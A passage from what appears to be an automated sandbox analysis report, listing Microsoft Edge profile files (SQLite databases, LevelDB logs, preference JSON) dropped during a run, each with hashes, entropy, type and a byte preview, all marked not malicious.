SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.2363792206838236
Encrypted:	false
SSDEEP:	12:3OlM+vVaYebvqBZFUt8NI/+fqMV5OaYebvqBaJ:38VaYebvyg8/XOaYebvL
MD5:	AD89F9A5F7705E2AB4BD8937B1CF016A
SHA1:	221BC2A5A9175C4A28138771658B410C196E00A0
SHA-256:	9B6CD95FC10C717E8D18C894B0FF0BF082F58CA94C0932285E6CA2C17DFA0E5B
SHA-512:	B9DF6228DCE6BE3F95CBD99428DE17C1B9020DDE5CD1D4E5CCEA0C9E86544E505D427EC6C144498D51A17651EACBB8145AF72B95635723CB480949382E32289A
Malicious:	false
Preview:	2024/11/27-20:27:50.682 1d6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/27-20:27:50.684 1d6c Recovering log #3.2024/11/27-20:27:50.687 1d6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.2363792206838236
Encrypted:	false
SSDEEP:	12:3OlM+vVaYebvqBZFUt8NI/+fqMV5OaYebvqBaJ:38VaYebvyg8/XOaYebvL
MD5:	AD89F9A5F7705E2AB4BD8937B1CF016A
SHA1:	221BC2A5A9175C4A28138771658B410C196E00A0
SHA-256:	9B6CD95FC10C717E8D18C894B0FF0BF082F58CA94C0932285E6CA2C17DFA0E5B
SHA-512:	B9DF6228DCE6BE3F95CBD99428DE17C1B9020DDE5CD1D4E5CCEA0C9E86544E505D427EC6C144498D51A17651EACBB8145AF72B95635723CB480949382E32289A
Malicious:	false
Preview:	2024/11/27-20:27:50.682 1d6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/27-20:27:50.684 1d6c Recovering log #3.2024/11/27-20:27:50.687 1d6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.177546740755105
Encrypted:	false
SSDEEP:	6:HC5cq2PN723oH+TcwtpIFUt8YC5mXZmw+YC5mFkwON723oH+Tcwta/WLJ:HvVaYebmFUt8SX/+SF5OaYebaUJ
MD5:	FA30336C8C40F2E4D102275E4B1CE721
SHA1:	E116793222F1F178A1E245AE8E4FBA236FA0915F
SHA-256:	1CA50414B50C11C5B0411D1F900545FD34C058539035398A20712ED366683125
SHA-512:	D55C1FD94865D88EC4E3D53077D6544D00818C45772860F5E093F3726265DE698A1529020C38775F8E7609242BAAFBFC208D76E15FD125A5795DE9FE5FA6A1D0
Malicious:	false
Preview:	2024/11/27-20:27:31.338 1d14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/27-20:27:31.393 1d14 Recovering log #3.2024/11/27-20:27:31.393 1d14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.177546740755105
Encrypted:	false
SSDEEP:	6:HC5cq2PN723oH+TcwtpIFUt8YC5mXZmw+YC5mFkwON723oH+Tcwta/WLJ:HvVaYebmFUt8SX/+SF5OaYebaUJ
MD5:	FA30336C8C40F2E4D102275E4B1CE721
SHA1:	E116793222F1F178A1E245AE8E4FBA236FA0915F
SHA-256:	1CA50414B50C11C5B0411D1F900545FD34C058539035398A20712ED366683125
SHA-512:	D55C1FD94865D88EC4E3D53077D6544D00818C45772860F5E093F3726265DE698A1529020C38775F8E7609242BAAFBFC208D76E15FD125A5795DE9FE5FA6A1D0
Malicious:	false
Preview:	2024/11/27-20:27:31.338 1d14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/27-20:27:31.393 1d14 Recovering log #3.2024/11/27-20:27:31.393 1d14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2676966633790303
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMcSA1LyKOMq+8iP5GDHP/0jMVumxx:Kq+n0Jc91LyKOMq+8iP5GLP/0Ux
MD5:	D1EB013834E28A3CCC43D51775FB47B0
SHA1:	717FADF13688E04AC722B0F9340F5A28F04BB630
SHA-256:	691D235973F8D69993734E85C620CB899859477091E4E20C56947CA5972D1DCA
SHA-512:	169FA7D5CCB724581C6D5CF590F09681C1AEAE97272282C2E88068FD60D3EFE9B3D331E0D9B7ABF385E908FA7428E18E3D3358237841B35E4AA14AAF9483C973
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46677188230855393
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0Tt:v7doKsKuKZKlZNmu46yjx0R
MD5:	393ECEE20859B16EC275DC422792E6DC
SHA1:	B59A2FC9E83C5165AC0EDC7519793F9256243891
SHA-256:	432F04A493992CD2BD8EEBE1AD18C85A947DA002AD6D7FCDCD94E3EF5E54394F
SHA-512:	01E08104E9AD9B9B0560A7DE7C317FD3C9BFA224E7B7024009E37390514CD8580EA2813858678FF6A7F022B28244CD08BA9D9927434BE3BD0133D63A7D951635
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ab87d4ad-c5aa-4f4b-bded-e50b1e4f67cd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13221
Entropy (8bit):	5.2220200207463545
Encrypted:	false
SSDEEP:	192:st+J99QTryDiuabatSuypNsFCZaFvrE9kKN7/87bV+F01QwBdUPPDYJ:st+PGQSu4NssZCDvbGCQwQo
MD5:	4E50A02A9A5391EF8B339CEC5C440A32
SHA1:	827D1685BA278FD992EC2CE83760DA9EA35ADCC1
SHA-256:	43F8E6296669FC1F442BCF93859A85DE834E8E9DCBEDA9CC0AED666EF02444FB
SHA-512:	37FF7427F90D64648FADBC9F1A0FAD2677269B4F822003B97F2E669F19EE5F5320BB9968127D1A79FAB9C173FAEFDBEE11AB059FE5F7201EA206CFE6660383DD
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377230852423420","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\db7df11e-6e0b-45df-b2ff-6bb94fe0b6ad.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14163
Entropy (8bit):	5.291689601062614
Encrypted:	false
SSDEEP:	192:st+J99QTryDiuabatSuypNsFCZaFvrEgQu0kKNd/87bV+F01QwBU3PPDYJ:st+PGQSu4NssZCDVhbGCQwe3o
MD5:	4A649A292B38DB1CC9B6FA7EC616F679
SHA1:	9B68A7BE507E5BFBFBAD8E5B60CDFF4B0D77276E
SHA-256:	53F037E8C512DE154D6257E37C69B0ABAE7174E196B14212449752E6CCC5F45E
SHA-512:	19E006ADBA99DE6F32AB2E835ACA21FFDF1745C816071F270ABCF6FD5AC1C8EB50097D138C03033531EC4563D124C8B935E0F955ED253720B4272FBDAD7DBB3C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377230852423420","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e715cb19-a2d8-4a82-8c17-c9d6a350080d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13998
Entropy (8bit):	5.2943097533234384
Encrypted:	false
SSDEEP:	192:st+J99QTryDiuabatSuypNsFCZaFvrEgQu0kKNd/87bV+F01QwBYUPPDYJ:st+PGQSu4NssZCDVhbGCQwpo
MD5:	7B175ED7B3ABA97819395579D641A5EC
SHA1:	D25926CEB3229B9CF1C2794A124443A0CEB8E6B0
SHA-256:	942DC39090FA4A2ED96FF469C49D38EAB4FE9C31844B83C8B05D6BAD8A424621
SHA-512:	FC4008D7E01641BD7434076D76B621F4ECD089AEB2D8BB1D72B1FA9A7FEE975B82235DD6A1409FFEF54BD4E98AA8B8800A8FB023CBA9BC243A3F8C3F66AC04CB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377230852423420","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10605934541625625
Encrypted:	false
SSDEEP:	12:JntlaTw5ntlaTwspEjVl/PnnnnnnnnnnnnvoQtEoxu:JntpntooPnnnnnnnnnnnnvHj
MD5:	04CE1EF97088418BA2A04929DDB06C43
SHA1:	76464C11E472FDA7CF7824C1CD7BEF86AF998E45
SHA-256:	4212DEE6A747A336D26B72667D906D62CD5D75526DE44E239FC359A9E8DB2A21
SHA-512:	D773861C5F4EE49DFF4D786920A4B6B83BF3893EA14D3FDE23D4F252253D226EA09218FFD5308B361CCC5043D04A2281917B86D09353E0B141C95AAF489F7CFF
Malicious:	false
Preview:	..-.............Q........Z.....:$J...V..n.....r..-.............Q........Z.....:$J...V..n.....r........M...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	333752
Entropy (8bit):	0.9328720558179545
Encrypted:	false
SSDEEP:	384:K3kW82OXMRY7dDjmHWv/aXYiZ8lkVFYVZ8PybySIypyDMy7xy3h:oXFk
MD5:	0527DDE65E2B13370BF6F90169C084C6
SHA1:	F7745B59EF7311F55EE9DD9AB3A69FD743103E70
SHA-256:	F3BDC92AE4C119CFBEF11BAA2514FCEAC76745721D8AAF2AE6238119C85D00F1
SHA-512:	CBD2BCA961F377810C4755E6B3C5E0FE6DDA500D862592F0060F2221FEEF40758B4DBA02ABF203E8AE3D5DB8CDB0F91BC4AE1C16ED53EDB347DC51BC43A82175
Malicious:	false
Preview:	7....-..........$J...V....M7'.z.........$J...V..h.IR..4.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	628
Entropy (8bit):	3.2431561620142904
Encrypted:	false
SSDEEP:	12:p9lc8QyOuuuuuuuuuuuuuuuuuuuuuuuM8D:pHay9
MD5:	0D3F5795F371DA121EE26794E9FD751F
SHA1:	9BAEB84AAEDE5711B25C4A2CA832079422706FDA
SHA-256:	EBACCCD7197BEB344CD747B85B5E443A4AB8068CF1C012C76834D3D891A487A9
SHA-512:	59EBF327797083DFC4E1F3C698E4041E2B6356ED94EB93D0BA07071153F205C315B22F900D5C2CE04F7EDAD0BA0D69B7DE8C3EA393FC85545276635EC27F9F2B
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..$.0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=................GlZ0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.182405197816074
Encrypted:	false
SSDEEP:	6:HC5WM+q2PN723oH+TcwtfrK+IFUt8YC5+jZmw+YC5+eMVkwON723oH+TcwtfrUed:0+vVaYeb23FUt8k/+EV5OaYeb3J
MD5:	35F86833BFD3EEEF95E37D90840E161A
SHA1:	76E31AE3824DB1EFDD7DFDF554751FF9A54CAE0E
SHA-256:	EE9329597FB01D9D29D0AEFD0A0A4B36D2815AF037BB9297DA5297C03C6D5CB8
SHA-512:	3C54A33E2C5F496ED45CD440B88CDF4F57BA04ADDD44DDE583F9EEA1E6CA0C5C31CEE62F546FFE08A406DC348626795F0A3800D752C07D8566F57D105611942B
Malicious:	false
Preview:	2024/11/27-20:27:32.478 1a1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/27-20:27:32.479 1a1c Recovering log #3.2024/11/27-20:27:32.479 1a1c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.182405197816074
Encrypted:	false
SSDEEP:	6:HC5WM+q2PN723oH+TcwtfrK+IFUt8YC5+jZmw+YC5+eMVkwON723oH+TcwtfrUed:0+vVaYeb23FUt8k/+EV5OaYeb3J
MD5:	35F86833BFD3EEEF95E37D90840E161A
SHA1:	76E31AE3824DB1EFDD7DFDF554751FF9A54CAE0E
SHA-256:	EE9329597FB01D9D29D0AEFD0A0A4B36D2815AF037BB9297DA5297C03C6D5CB8
SHA-512:	3C54A33E2C5F496ED45CD440B88CDF4F57BA04ADDD44DDE583F9EEA1E6CA0C5C31CEE62F546FFE08A406DC348626795F0A3800D752C07D8566F57D105611942B
Malicious:	false
Preview:	2024/11/27-20:27:32.478 1a1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/27-20:27:32.479 1a1c Recovering log #3.2024/11/27-20:27:32.479 1a1c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.145089711312174
Encrypted:	false
SSDEEP:	6:HC5myOq2PN723oH+TcwtfrzAdIFUt8YC5myXZmw+YC5BiPkwON723oH+TcwtfrzS:3/vVaYeb9FUt8ay/+Q5OaYeb2J
MD5:	DE74D6DECF010837BF31591BEE26E0A0
SHA1:	5C96DD1F01A6CC68E41B69662E922870E528108B
SHA-256:	01CE0EDAEEB2B05969FFBF5F871BABF9814CDB02491E99C9788125AED118C03A
SHA-512:	664F0CC5D0B8E8AAFBF27E5659F155E69333B176BE7A2DCB43EF83BB6BF3153EA69BFF74BBA8AD30A3AD25C3B761E89BC912F50AEB0AFD3AC3AE5F8FC44E9BCB
Malicious:	false
Preview:	2024/11/27-20:27:32.427 1d14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/27-20:27:32.427 1d14 Recovering log #3.2024/11/27-20:27:32.428 1d14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.145089711312174
Encrypted:	false
SSDEEP:	6:HC5myOq2PN723oH+TcwtfrzAdIFUt8YC5myXZmw+YC5BiPkwON723oH+TcwtfrzS:3/vVaYeb9FUt8ay/+Q5OaYeb2J
MD5:	DE74D6DECF010837BF31591BEE26E0A0
SHA1:	5C96DD1F01A6CC68E41B69662E922870E528108B
SHA-256:	01CE0EDAEEB2B05969FFBF5F871BABF9814CDB02491E99C9788125AED118C03A
SHA-512:	664F0CC5D0B8E8AAFBF27E5659F155E69333B176BE7A2DCB43EF83BB6BF3153EA69BFF74BBA8AD30A3AD25C3B761E89BC912F50AEB0AFD3AC3AE5F8FC44E9BCB
Malicious:	false
Preview:	2024/11/27-20:27:32.427 1d14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/27-20:27:32.427 1d14 Recovering log #3.2024/11/27-20:27:32.428 1d14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
